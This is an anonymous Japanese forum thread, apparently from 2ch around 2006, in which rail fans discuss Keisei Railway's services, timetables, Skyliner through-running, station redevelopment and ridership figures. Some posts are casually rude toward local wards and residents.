京成もそんな体質あるのだろうか？

ＥＬを増やしてる狙いは何？

>>「浅草には　おそらく　東武が新しいホテルを建てる上に
成田空港〜浅草（京成）
羽田空港〜浅草（京急＋都営線）
浅草〜日光
浅草〜豊洲・東京湾岸　などが　線路で結ばれるので
浅草は　外国や関西以西からの観光客にとって
都心では、有数の周遊の拠点に変貌する可能性があるだろうね。
滞在型の街に変わることで、つくばEXの開通もメリットに変わる。
浅草は、変貌する。」

それなんていつの妄想？

昔の事だけど、予備校の英語講師で外国人観光客の
ガイドもしている人が、
欧米人を案内するなら浅草仲見世に限る、って言っていたよ。
銀座なんかより立派な目抜き通りなら、欧米の大都市には
いくらでもあるから、って。

浅草が今よりもずっと寂れて小便臭かった頃の話よ。

少なくとも欧米系の観光客は、エキゾチックな日本を求めて来る
要素が大きいんだから、あながち妄想とは言えないヤネ。

が、浅草は、浅草橋からも押上からも2駅。これが現実。
浅草栄えて京成廃れる、という可能性も・・・

京成が浅草線を買収すれば・・・

>>781
その通り。浅草ライナーを走らせれば外国人が乗る。空港第２ビルの
次の停車駅は浅草。

京成は浅草線の押上〜浅草間を買収汁。

>>784
いや、全線買収して初乗り値sageきぼんぬ

全線買収のコストで運賃が跳ね上がるだけだが。

浅草は観光にはいいけど、最近は渋谷のスクランブル交差点なんかも日本らしい風景になってるよな

もし京王が予定通り
標準軌に改軌してれば京成関係はどうなってたんだろ?

>>788
北千葉線がすんなり開通するとも思えないし、本八幡からどうこうすることは
あまり考えられないし。

京成が改軌するんじゃなくて、京急が1372mmに戻してくれていたら結構うまくいっていたかも。

やっぱ京成って人乗らないよね。3万人台くらいだったら普通特急停めないよね

しかし、何が何でも再開発に反対する台東区ってマジ死んだ方がいいんじゃないか？
東京東部の地盤沈下って上野・浅草がターミナルの京成・東武・常磐沿線の不人気も一因だろ
あれだけ問題地区がある荒川区だって再開発してるんだぜ

>>744
成田空港・2ビルの改札口に「パンフレットあります」と各国語で書いたでかい看板出して
パンフ置いとくだけでかなり違うはず。
各地から京成へのアクセスを詳しく書いておけば帰りも乗ってくれるだろうし。
>>781
>>783
中国台湾韓国といった「寺慣れ」してる国の人でさえ東京の観光地と言うとまず浅草。
ただ空港からはまずとりあえず宿に向かうものだから
直接浅草という需要はあまりなさそう。

>>791
台東区というか、浅草近辺の土地は、所有権を持つ寺、そこの借地権を持つ人、
建ってる建物を借りて使っている人の３者が利害関係者になる地域が広いので調整が大変なのよ。
皆一様に反対なわけでもない。
そもそもあまり場違いな再開発をやってしまうと観光資源の価値が損なわれる気もするが。

寺が多いよな。
どこも同じ風景になってしまうよりはマシかと・・

新高速開通したら京成グループの中心は新鎌ヶ谷と高砂になると思うんだが
両方の駅前に京成系のＳＣができると嬉しいな

大鵬の還暦土俵入りのときはまだまだ筋肉質だったな

誤爆スマソ

船橋駅高架下にテナントやショツピングセンターができるらしい

京成系のが入ってくれないかな。ユアエルムでも。
３階分くらいの高さあるし。

>>798
かなりの集客が期待出来そうだね。千葉の新宿がますます発展しそうだね。
あとＪＲ船橋駅は、つくばエクスプレスの開通で柏駅の乗降客数が減少の
見込みで乗降客数が千葉県ナンバー１の座に返り咲くことになりそう。

>>800
西武も東武もＩＹもシャポーもＦＡＣＥも集客に苦労していると言うのに、
地元民でないことは確かだね。

>>801
同意。faceは市の財政を破綻に導くもの。

>>793
それはただの甘ったれ。他の地域だって権利調整には苦労している。
あの有楽町交通会館脇ですら出来たし、新宿ゴールデン街の辺りも進めている。
現状を直視できない、自分たちが劣っていることを認めたくない弱さが台東区民にはないかな?
荒川の再開発は本当に立派。良くぞ問題地区であれだけ話をまとめたと思う。
こういう問題意識を持つことが民度が高いと言うと思う。

船橋駅のべ数千回乗り降りしたけどシャポ〜に行ったことは一度もないわｗ

>>801
今の船橋は、試行錯誤を重ねている途中なように見える。
建物のキャパシティによるのか、Faceは特に一つ一つのテナントが小さいような
気もする。結局大したことのないように見られてしまうのか･･･。
京成高架下の利用法を考えるならば、商業施設より駐輪場だろうかね。

まあそのうちFaceとホームが繋がるようだから、
そうしたら多少は違ってくるだろうな。

>>804
千葉県はほんと駐輪所がダメ過ぎ。高架下の駐輪所案賛成。
金町とか、南浦和とか行ってみ。駐輪所が充実している。

西船は充実してると思う

金町はかつて、放置自転車ワーストワンに輝いた過去があるからなｗｗｗ

ただそうは書いたけど、駐輪場を作ったところで『京成の利用客が増える』ことには
ならなそうなんだよね。純粋に、船橋市街地の自転車対策というだけで。
高架下の駐輪場の管理や税金が、どうなっているのかは知らないけど。
こればかりは京成よりもむしろ船橋市が積極的にやる必要があるね。
こういうところからも、ダメダメな千葉県の交通政策を何とかしてほしいものだ。

しかし、船橋南口はまだ恵まれてると思う。駐輪場要員がいるからね。
そこそこ大きな規模の駐輪場でも、案外何とかなりそうな気がする。

>>801
今の時代どこの地域も集客に苦労しているでしょう。
はっきり言って依然として不景気なんだから。

本来なら西武がある位置に京成百貨店がないといけない

京成はNEXがあるかぎり利用者増えないんじゃね？

>>810
西武百貨店船橋店は、昭和４２年から開店している老舗だからね。
京成といえども進出できなかったんじゃないの。
しかも北口は、今と違って雑然としていたからね。

京成の定期持ってる人に限り駐輪場無料にするとかすれば良いんでないかい？
京成らしいパークアンドライドってか

>>806
あそこって駅の規模の割に駐輪場デカいよね

>>811 NEXのボッタクリを利用して、京急品川発スカイライナー成田空港行きは出せないのか？

いまだに出してないんだから、（理由が何かは置いといて）出せないんだろうねー。

>>815-816
運輸官僚がＯＫサインを出してないからじゃないの。

>>816
京急にとって旨みがほとんど無い上に貴重な線路容量を奪われて迷惑なだけだから。

と漏れは解釈している。
この際五反田（西馬込）逝きでもいいと思うけどね〜。
品川・横浜方面は泉岳寺乗り換えになってしまうがＮＥＸの方も
東京分割で待たされる＆スカ経由で遠回り（横浜）だからある程度の競争力はあるかと。
それに目黒や恵比寿だったらＮＥＸでも乗り換え必要になるからどっこいどっこい。

>>818
リムジンバスの客を鉄道に奪われることを
運輸官僚が恐れていることもあると思う。

>>819
じゃあなんでＮＥＸはおｋなの？

>>820
成田新幹線建設が不可能になったから在来線で東京駅から
直通電車を出そうということになったんじゃないのかな。

スカイライナーって都営に入れるの？

>>802
俺は生まれも育ちも日暮里なんだが荒川区の再開発は立派ってもんではないよ。
やらないよりはやった方がマシだけど、やるならもっと工夫できるハズなんだよね。
成田新高速の開業を機に首都東京の玄関にふさわしい街に・・・なんてホザいてるけど、
実際に作ってるのは定住人口減少を食い止めたいだけの集合住宅タワーだし。
オマケの商業施設だって区外から人を集めるようなものではないショボイ感じ。
同じ京成沿線の町屋の再開発でも同じことが言える。あそこはDQN地権者のせいで頓挫しそうな地区もある。
日暮里は再開発による集客は全くないけど、駅のバリアフリー化は京成にとっては間違いなく大きなプラス。
つうか荒川区の問題地区ってどこのこと？吉原や山谷は台東区だし。

>>823
集合住宅だから現実的でいいんですよ。盲目な期待を込めて集客力もないのに大型商業施設を作ったりしたら目も当てられない。
身の程が判っている。こういうことはなかなか出来ませんよ。自治体主導タイプならなおさら。
下町=汚い町並みというイメージを一新できることはよいこと。下町に住んでいると自分の臭いが気にならないのと同じで
外部からのネガティブなイメージに鈍感になってしまう。
日暮里に韓国人が多いことを問題にしているのではないかな。＞問題地区。
東京の鶴橋みたいなイメージで捉える人がいるし。
空港利用客は一見利用が多いので駅周辺の第一印象が変わるだけでもイメージアップ大だと思います。

>>812
あれはユアサフナショクの土地なの。もともと倉庫だった。
京成とかの問題じゃない。議論以前にもう少し知識が欲しい。

都営浅草線が仮に東京メトロだったらもうちょっと柔軟な対応できたかもな
スカイライナーの件でも

>>826
日比谷線や千代田線の車輌運用を調べてからご発言を。
メトロ(少なくとも旧営団）だったら、TやHの上野行なんて
絶対あり得なかった。
結局、ロマンスカーの地下乗り入れって、実現に向けて
具体的な動きあるの？

高砂や宗吾で1〜2時間見ていれば、スカイライナーの回送が
意外と多い事に気づく。特急専用車は客室整備のための
入庫が運用のネックになる。
浅草線にライナーが入っても、高砂か馬込か新町まで回送
して整備するしかない。

>>824
確かに。再開発と称して駅前に巨大ビル建てたものの、
テナントが集まらなかったり、入居してもすぐ撤退しちゃって、
ゴーストタウンなんて例は沢山あるからね。

乗降人員比較
京王井の頭線(13km)＞京成本線(67km)
これはビックリ

>>822
スカイライナーは、都営浅草線に入れるように造られているよ。

ありがとう
もういきなり入っていけるの？
スカイライナーで三浦海岸へ海水浴・・・

つーか東急車輛から回送するときに一回通ってるがな

>>831
今の設備（たしか車両側ではなかったような記憶）じゃ入れないと
取材した某シミュレータ作者がブログで言ってた。

俺も聞いたことあるかも、何でだっけ？

京成本線から見れば浅草線は迂回してるけど
北総・新高速から見れば最短ルート上にある

>>833-834
スカイライナーの車両は、地下鉄乗り入れを想定しているはずだが。

都営浅草線は京成が買うべき

>>813
船橋⇔都内の定期に限れば効果的だね

>>838
そんなら、
船橋駅立体化完成後、高架下スペースにそういうものを作ったらどうだろう
たしか高架下に何を入れるか案を募集してたよな。

船橋のだだっ広いコンコースに喫茶店でもカレー屋でも作って欲しいな
逸走前に一服したい人は多いはず

>>840
カレー食うほど時間のある人はＪＲに逸走しないでずっと京成乗ってくんじゃない？

>>833が言ってるのは多分これ。
ttp://ongakukanblog.cocolog-nifty.com/blog/2005/11/post_56d0.html
補足すると「出発相当信号機にかかってしまう」駅は一部だけだった（どこかは知らん）
と記憶している。つまりそこだけ移設すれば行けるはずだけど、これが意外に面倒。
その駅だけ通過すれば、というのも考えられなくはないけど、おそらく通過するわけ
にはいかない重要な駅なんじゃないだろうか。日本橋とか。
回送ならそんなのに関わらず通過できるから問題も起きない、と。

>>829
一番美味しい通勤時間帯で押上線とシェアしているわけで、
本線を独立して取り上げることにはそれほどの意味はないと思う。
たとえば、京王で相模原線のみを論じても意味がないのと同様。

じゃあ京王も本線？で比較すればいい

>>840
カレー食ったら総武快速の車内でう（ｒｙ）したくなるので却下ｗ

京成沿線に10年以上住んでて多少鉄の気がある私が一通り読んでみたけど、
結構知らない事が多くてためになる。

流れを無視して書いてみると、
どうせ遅くてターミナルの位置が不便な状態が改善不能なら、
座れる事を売り物にしてもいいのでは？(特に千葉県内独占エリア各駅※〜都心で)
西武東武両池袋や京王小田急西武各新宿駅の平日夕方を見ると、
並んで待てば優等でも確実に座って自宅最寄駅まで帰りつけるのが羨ましくなる。
翻って京成はというと、
100パーセント座れる上野始発は平日夕方は各駅ばかり、青砥で乗り換えると座れない、
都営浅草からの特急・通勤特急で座るには違法を承知で泉岳寺あたりまで折り返し乗車するしかない。
京急なら品川・泉岳寺始発の快特があって並んで待てば座れるのに、
京成にはその機能を持った列車がほとんどない。せいぜい上野始発快速くらいか。
(それとも帰りのラッシュはウィング+都営始発快特しかないんだっけ？)

朝の独占駅→都心にいたっては、
並行路線の始発駅(勝田台・本八幡・JR津田沼・千葉)で座るか成田から乗るしかない。

どうせ座れないなら速い他社路線の方が良いと考えるのは自明の理。
客が入れ替わる駅(船橋・八幡・高砂・青砥)で席ゲットできると言われても、
それが毎日100パーセントできるかと言えば答えはノーだから抵抗がある。

※一応ここでは大久保〜京成成田の各駅とする

確かに夕方の上野は優等が少ないですね。浅草線方面と上野方面に各10分毎特急を
設定してそれを北総方面と成田方面とに振り分けるということはできないものか・・・

優等増やすにしても乗換不便な上野からじゃないと座れなくて
乗換便利な日暮里からは座れないというのは微妙
西武新宿よりはましだけど

要するに成田新高速ができてスカイライナーを向こうに逃がせばよいということだ。

61 ：名無し野電車区 ：2006/07/01(土) 18:14:05 ID:AEW0C1W8
今更な話だがとりあえず合併とかよりまず仲良しグループを作るor強化する
なりしたらいいと思うのだが。航空業界では世界的にそうなってるじゃん。
だから例えば近鉄と南海は隣同士だし合併しろとかより南海・名鉄・京急
京成で『オンリーワン（仮）』という鉄道連合を作ってみるとかな。
んでANAと提携して京急⇒羽田⇒中部⇒名鉄、南海⇒関空⇒羽田⇒京急、
京成⇒成田⇒中部⇒名鉄という風な提携とか。マイレージの提携もな。

>>846
今の夕方上野発のダイヤを見てみると、
かなりの割合「普通４連京成金町行」が占めているのだよね。
（18時台だと16本中6本）
金町線が（ラッシュ時に）高砂で折り返せないこと、
本線の各駅停車が8連にできないことが
妙なところに影響を与えているのよね。

ほんと金町行きって多いんだよね。
俺の帰りは青砥か高砂で特急に乗り換えて、八幡で降りて普通に乗り換えるのが
パターンになるんだけど、たまにあてはまらないのがあるのは勘弁。

朝は通特が上野まで行くのに、帰りはELばかりになるんだよね。
この整合の無さを何とかして欲しいな。

何としても都心側の改良が必要だろう。今のゲタ電を脱したいなら。
というわけで、高砂から品川まで別線で急行線増設希望。
停車駅は押上、浅草橋、日本橋、東京、新橋、大門、泉岳寺、品川。

ターミナル位置が悪い、乗換えが不便のどちらかなら何とかなるけど
京成上野の場合、両方だからな・・西武新宿はまだ新宿なのが
救いだが・・
実質日暮里始発で勝負せざるを得ないところが辛い

浅草はスルー？
確かにいい位置とはいえないかも知れんが、寄らない理由もないぞ。
ってか銀座をスルーするなんてバカか

駅や車両のデザインを、女性ファッション誌の撮影に
使用できるぐらいステキなものにしてください。

と、お願いしたところでそれは無理な話。
京成はせいぜい、ｽﾎﾟｰﾂ新聞を携えたガラの悪い酔っ払いのオッサンが似合う路線。

>>856
公津の杜はだめ？

JRの成田駅で電車を待ってみたんだが、いつまでたっても来やしない。
ようやく来たのに乗ったら千葉で乗換え。
それ以来、新勝寺へ行くには京成しか使ってない。

>>858
運がいいと久里浜行きとか来るんだけどねJRは。
まあ、新勝寺に行く時くらいは京成使ってあげてよ。
そのために京成は生まれたのだから。

新橋のシオサイトはプラスにならないの？
他線利用者から見ると京成にとってプラスな気がするけど・・

>>860
京成〜押上の京成の運賃と押上〜新橋の東交の運賃の合算が総武線方面〜新橋と勝負になるか否か。もっとも運転本数的には東京止めのウザさとか横須賀線の湘南新宿ラインへのシフトで総武線方面からの利便性は必ずしもよろしくないけど…

う〜む。
やはり浅草線は北総方向、京成本線は上野方向でいいのだろうか・・

>>856
車両のデザインは私鉄で一番素敵だろ。

>>856
都心側はその傾向があるがな。
高砂以東は全然違う。

押上線の方が需要はあるから押上方面と上野方面の割り振りは難しいね。
上野線はなんだかんだいっても日暮里と上野だけだし、都心を貫く押上方面に勝てないのは仕方ない。

に、しても朝は上野線重視、夕方は押上線重視はなんとかならんのか。
そんなにELに乗せたいのか。

18時からは快速が毎時2本、ELが毎時2本であとはぜんぶ普通って何？

イブニングライナーって津田沼に停車してもよくね？
大久保・実籾のために

>>866
上野線の場合は、仕方ないですね。
なにしろ、日暮里〜青砥間の普通しかとまらない駅の
利用客が意外に多いからね。
町屋　19,625
京成関屋　23,289
堀切菖蒲園　21,702
お花茶屋　29,467

参考　高砂〜津田沼間の快速停車駅（特急は通過）
京成小岩　16,201
東中山　7,866
船橋競馬場　19,241

快速停車駅より、各駅停車しか止まらない駅の方が
利用客が多い・・・

それでも小岩と船橋競馬場はかなり多い方
総武線と並行してる区間は4000人とかが普通、特急停車駅以外で
10000人超えてるのは小岩・国府台・競馬場・幕張本郷・千葉だけ

快速停車駅に相応しい駅がないということですな。

>>868
利用者が多いのもあながち間違えでは無いけど、
本当の理由は金町線と本線にある。

金町線は４連以下限定、本線の各駅停車は６連以下限定
そしてラッシュ時には高砂での折り返しができない。

このため、金町線の各駅停車と本線の各駅停車は
上野まで運行しないといけなくなるため、上野〜高砂間では

金町線で最低限必要な本数＋本線の各駅で最低限必要な本数＝上野〜高砂間の各駅停車の本数

になってしまい、上野発は各駅停車ばかりになってしまう。

快速の停車駅は緩急接続できるようにでしょ？特に東中山は

船橋だってもしＪＲの駅が近くになかったら八幡みたいな感じになってたのかな

>>871
その全部が上野→高砂各駅に停まる必然性はないけどな

せめて夕ラッシュ時の本線普通の半数程度を高砂以西快速に変えないと、
小岩・市川市内（八幡含む）から池袋方面に通う客ですら掴めないよ

>>874
そうしたら、日暮里〜青砥間の普通しかとまらない駅は、
４両編成の電車が１０分に１本しかとまらない場合が
できちゃって、４両普通が混雑してしまう。
小岩〜菅野の利用客より、新三河島〜お花茶屋の利用客
が多い現状ではそんなことはできないでしょうね。
せいぜい、高砂行きを快速化するくらいのような気がする
むしろ金町行きを快速化したほうがおもしろいかも。
それなら、常磐線対抗ということもできるし。

あとは、思いきって、快速の停車駅を
日暮里→町屋→関屋→堀切→お花茶屋→青砥（以下は現状と同様）
のように上野線内の利用客の多い駅（１９０００人以上）はすべて停車に
すれば、普通減少・快速増発も可能だと思う。
ただ、そうすると昔の急行並の鈍足優等になるから、
これも難しいでしょう。

日暮里ー金町間は京成の方が便利でしょ。夕方は直通がたくさん走ってるし。
常磐だと北千住で地上から地下に乗り換えるの面倒だしね。

>>875後半

それなら関屋だけ停めて、１８・１９時台は
千住大橋通過追い越し＋関屋で片接続とすればいい
そうすれば乗車率もそれなりに均等になる

青砥か高砂で八幡方面に確実に接続が取れるなら快速金町行きも面白いけど

>>873
でももし船橋がＪＲより離れていたら、今みたいな船橋以東の発展は
無かった気がする。

京成は車両も駅の作りもちゃちいね　
デザインしてるのだれだよ　ださすぎ

リホーム、ダルマの完全駆逐

>>868
>京成関屋　23,289

東武線との乗り換え客が寄与？

>>877
>千住大橋通過追い越し＋関屋で片接続とすればいい

これが最も現実的と思われ

工夫次第で大化けする可能性を秘めた駅・関屋（＆牛田）

>>876
JRの210円に対して京成が310円では、いくら乗り換えが無いといっても勝負にならない。

>>871
上野〜高砂は8両の普通が現存する。
平日夕方は成田空港から上野に来た8両の特急が、
折り返しで高砂行き普通になることが多い。
これを快速(かつでの急行復活でも良いと思う)にするか、
4両で輸送力の小さい金町行き＠同時間帯を快速か急行にして、
なるべく客を分散させる
（＆青砥での浅草特急連絡で上野始発優等が減る分を補完）
という事はやってほしい。

ちなみに、土休日ダイヤでの上野から佐倉への最終は、
上野高砂間各駅停車、高砂以南が快速＠8両編成。

やっぱ柴又〜松戸の新線を建設するしかない！

>>884
JR松戸車庫を経由して神経性に直結。途中駅は三矢小台

編成の短い金町系統を、あえて快速にして新三河島〜お花茶屋間の客を拾わないようにするって手段はアリかも。京阪の交野線から入るおりひめが枚方市〜京橋間ノンストップのK特急なのは、この区間の途中駅からの客を5連に乗せたくないからだろうし。

松戸って、京成にそんな車両の余裕があるのか？
線路容量だって怪しい。
他の線が減る気がする。

高砂でおり返せないなら柴又で折り返せばよくね？

柴又だけでも都営車入れるようにしようぜ。

高砂でおり返せないなら小岩で折り返せばよくね？

とりあえず
3700と新3000はｶｺｲｲと思うが。
ただ都営車の夕方の乗り入れが大杉。

それと青砥−上野間が40分かかるのを何とかして欲しい。

夕方のT車は大杉って言うほど多くない希ガス。3本ぐらいだったような。

>青砥−上野40分
歩いたのか？

船橋競馬場を京成船橋
現在の京成船橋をJR船橋駅前駅に改称

高砂で折り返せないなら矢切で折り返せばいい

上野から4+4で金町、千葉線各停走らせるのはだめなん？高砂で優等待避しながら分割併合なんて・・・
以上、妄想でした

金町線直通を快速にすればいいでしょ。
そんで青砥か高砂で押上から来た本線優等と接続すれば････


スジを考えてない鉄ヲタの妄想でした

４（上野行き）＋４（羽田行き）で本線と北総線から高砂に同時入線
高砂で分割、橋の上で併合、青砥で対面接続・・・

これなら１０分ﾍｯﾄﾞで上野線押上線両方に優等が設定できる！！！

>>897
それって、誤乗車が多発しそうな希ガス。

浅草線つながりの各社局で、完全３０分サイクルのパターンダイヤを
「真っ白」から引き直しきぼん。
フラッグ（ＳＬ、エア快）はこのサイクルで１回し、
他系統は２回し〜４回し
にしちゃえば？

とりあえず、うめ

>>89
ただでさえ各社ごとの連携感がないな。種別もダイヤも。

引きなおしのついでに種別整理もきぼん。

京急の急行が快速になるだけでもだいぶすっきりする

金町線と本線各停は割り切ってライトレール化に。
まずは高砂−船橋競馬場で試験導入してくんろ。
そもそもじいちゃんばあちゃん多い沿線なんだし、江戸川駅みたいに豪華なエレベータ
３基も作らなくていいからさ。

いっそうのこと、ライトレール化で都電に乗り入れとか・・・。

>>903
本線は鉄道と軌道の共存なんて無理だろ。
それこそ後ろからついｔ（ｒｙ

>>904
どっちかを改軌する羽目になるからしなくていい。金町線はいいけど。

>>904
大正時代の亡霊発見。

汐留に使う金を北総買収に向けてほしい

上野線をぜんぶ低床式ホームにして、金町線と一体化てのはなかなか夢のある妄想だな

しかし青砥や日暮里はどうなる

上野・日暮里〜北総の流れって多い？

>>909
無くはないだろうけど、多くはない。
それだったら昔の松戸直通がよかった。

北総の実態は３セクだ　沿線の自治体からの出資はばかにならないょ。
もし、京成が買収できるとしたら一番喜ぶのは沿線自治体だ。

>>907
あれ建物だけじゃん。土地は帝都のものだし。

>>911
京成は代わりに千原線、千葉線を廃止売却する。
京成の北総買収によって入った金で沿線自治体は開発に力を入れればよい。

>>912
帝都は京成グループ。

>>913
おいおい、千葉線利用者の漏れはどうなる？

新京成が買えば解決だが。

千葉線はまだいいが、千原線がお荷物なんだな
まぁ無理やり買わされたようなもんだからしょうがないか

無理やり買わされたといっても、千葉急行自体半分は京成に責任があるからな。

京成グループの小湊と京成本社の連帯責任ですか

>>918
さっさと海士有木まで開通させ、小湊と夷隅を電化し、AE100で大原ライナーの運行を開始汁。

閑散度は北総以下だな

>>919
改軌モナー

>>919
AE100長杉

松戸発上総中野行きとかってどうなんだろ・・・

小湊って形成と線路幅一緒じゃないの？
だとすると冷蔵の「特急養老」が実現するには
気の遠くなる投資が必要だな

＞９２３
小湊　１０６７ｍｍ

じゃ養老ライナー通すには改軌して小湊の全車両も変えなきゃいけないのか・・
養老ライナー無理じゃん

>>925
さらに電化も必要

京成お得意のお古車両譲渡で解決ジャン。

小湊鉄道を箱根登山方式にするのは、どうかな。
たださ東京駅から小湊鉄道線沿いの国道２９７号線に直通高速バスが
走っているから金をかけてまで特急ロマンスカーを走らせる必要が
あるのかな。

小湊鉄道沿線に温泉や有名観光地があればね〜。
客呼べるものがないと、ただの無駄になっちゃうからね〜。

「特急養老」はいいから電化・改軌・電停交換と京成・新京成直通ができればそれでいいよ＞小湊・いすみ
あのヘロヘロレールで特急走らせようなんて基地外沙汰もいいところ。

昔小湊鉄道は、国鉄と直通準急が走っていたらしいね。
因みに小湊鉄道の会社名の由来は、天津小湊を結ぶためだった。

千葉ってこれといった観光地がないよな
温泉もないし

養老渓谷
だが滝壺に泡が湧いている罠（洗剤の泡っぽい泡）

>>932
養老渓谷あたりに温泉あったよね。黒いお湯の。

養老渓谷はちょっとマイナー過ぎないか

>>934
粟又の滝（養老の滝）近くには、無色の温泉もあるよ。
むしろ、最近はそっちの方がきれいで旅館も垢抜けてるし、
養老渓谷旧市街の黒い温泉より人気あるよ。

駅からは相当遠いんだけどね、一応路線バスは走っている。

普通にちはら台〜辰巳台〜海士有木〜上総牛久の直通各停でいい気もするがな（海士有木からは３線）。
たとえ京成千葉で降りられようとも。
ま、千原線の料金体型を本線と統一（んで加算料金設定）しないとアレだがな。

冷蔵特急「養老」
停車駅は日暮里・青砥・津田沼・京成千葉・大森台（何で停まるんだ）・海士
有木・養老渓谷・上総牛久・大原

いったい、大原になんの魅力が・・・。

ＪＲの特急で行けちゃうしな

バスでいいよ

今特急が走ったら線路が破断するな＞小湊・夷隅

>>941
そのとおり。東京駅から勝浦・天津小湊まで直通高速バスが
走っているから有料特急なんか必要ない。

小湊スレに振っといた
辰巳まで延伸できないものか?
近くに帝京があるんで千葉までスクール鉄道(関係者無料)化は無理?

内房内陸部の観光地を結ぶ路線にする。終点の浜金谷には京成グループの鋸山ロープウェーがある。

ちはら台〜辰巳台〜国分寺台〜海士有木〜安須〜西光風台〜川原井〜東京ドイツ村
〜東横田〜下宮田〜高倉観音〜かずさアカデミアパーク〜糠田〜鹿野山口〜マザー牧場
〜上総湊〜新竹岡〜浜金谷

バブル期におゆみ野からあすみが丘へ新線建設する案があった様な気がする

５年位前に車で辰巳台駅建設予定地付近を通ったけど、家も店もいっぱいあったね。
おゆみ野とかちはら台よりもよっぽど栄えてて、鉄道が通ればもっと繁栄しそうな気がしたが。

みんな車使ってますから。

ただ住民の高齢化が進んでジリ貧だけどな＞辰巳台
ちはら台じゃなくて辰巳台まで一気に作ってしまえばよかったのに

直通は無理だろ。それより本数増やして車利用からのシフトを狙うしか生き残る道は無い？

>>950
上総牛久までだったら本数は、多いのじゃないか。

>>951
そこまで伸ばすと、その先へ行きたくなる件

西武新宿線の高田馬場は、東西線の短絡ルートで都心まで便利なのに対し、
京成線の日暮里は、都心まで回り道になる感じで不便だな。京成は、都心に
行くのに回り道になるから他の私鉄と比べても不便な印象を与えているね。

市川から上野まで直線ルートで行くならまだ救いがあったけど、
北側から回り込むようにして行くからなあ

できるだけ京成で都心に出ようとしてるけど、やっぱり日暮里は
遠回りだよな、都心に対して

>>949
高齢化が進んでいることはチャンスだと思うけどなぁ。
高齢化が進む＝ジジババが車運転できなくなる＝京成ウマー
にはならないかな。

まぁ、ちはら台駅前や芝山千代田駅近くの空き地に、どでかい駐車場作れば、
京成にのってくれる人は増える気がする。

ＪＲの、への字までが許容範囲かな？
やはり人形町から船橋までショートカットしてほしい！
千葉線沿線が活気づくのは間違いない

>>953
普通に押上線を使えば良いだろ。

養老特急とレッドアローってどっちが観光需要あるだろうか

>>955
同意。そして新京成車の市原進出も実現、と。

>>958
普通にレッドアローでしょ。

>>957
それでも遠回りだな。ただ佐倉だったら総武線が千葉経由で迂回している
から京成・都営ルートのほうが便利だね。

小田急の箱根ロマンスカーは、３０分に１本走っているのが驚異的だな。
それほど箱根観光は、需要が大きいということだな。

ところで、小湊・夷隅って線路は軽量軌道？

http://hobby7.2ch.net/test/read.cgi/rail/1148885860/l50

京成エージェンシー駅別乗降人員表H15とH16より

京成＆北総乗降客 増加数 BEST10
新鎌ヶ谷 空港第２ビル 押上 日暮里 公津の杜 成田空港 ユーカリが丘 青砥 船橋競馬場 東中山

京成＆北総乗降客 減少数 WORST10
京成船橋 八千代台 堀切菖蒲園 町屋 京成金町 志津 京成立石 市川真間 京成佐倉 京成上野

京成＆北総乗降客 増加率 BEST10
新鎌ヶ谷 公津の杜 空港第２ビル 成田空港 おゆみ野 新千葉 千葉寺 東中山 西登戸 大佐倉

京成＆北総乗降客 減少率 WORST10
市川真間 柴又 小室 京成稲毛 国府台 町屋 谷津 志津 京成幕張 堀切菖蒲園

なお、新鎌ケ谷についてはデータの信頼性に疑問あり。

新鎌ヶ谷19000人ならそんなもんだろ
15年度が異常に少なかったとか？

堀切菖蒲園や立石が減少してるのは大分痛いな。
競合路線無いんだし。

むしろ日暮里・押上と空港の増加を歓迎すべきでは
おゆみ野や千葉寺・公津も増えてるならなおのこと

東中山や船橋競馬場は快速効果？？まさかな・・・

船橋が減ってるのは上野線に魅力がでてきたからか？

船橋の減少は八千代台の減少と連動してるキガス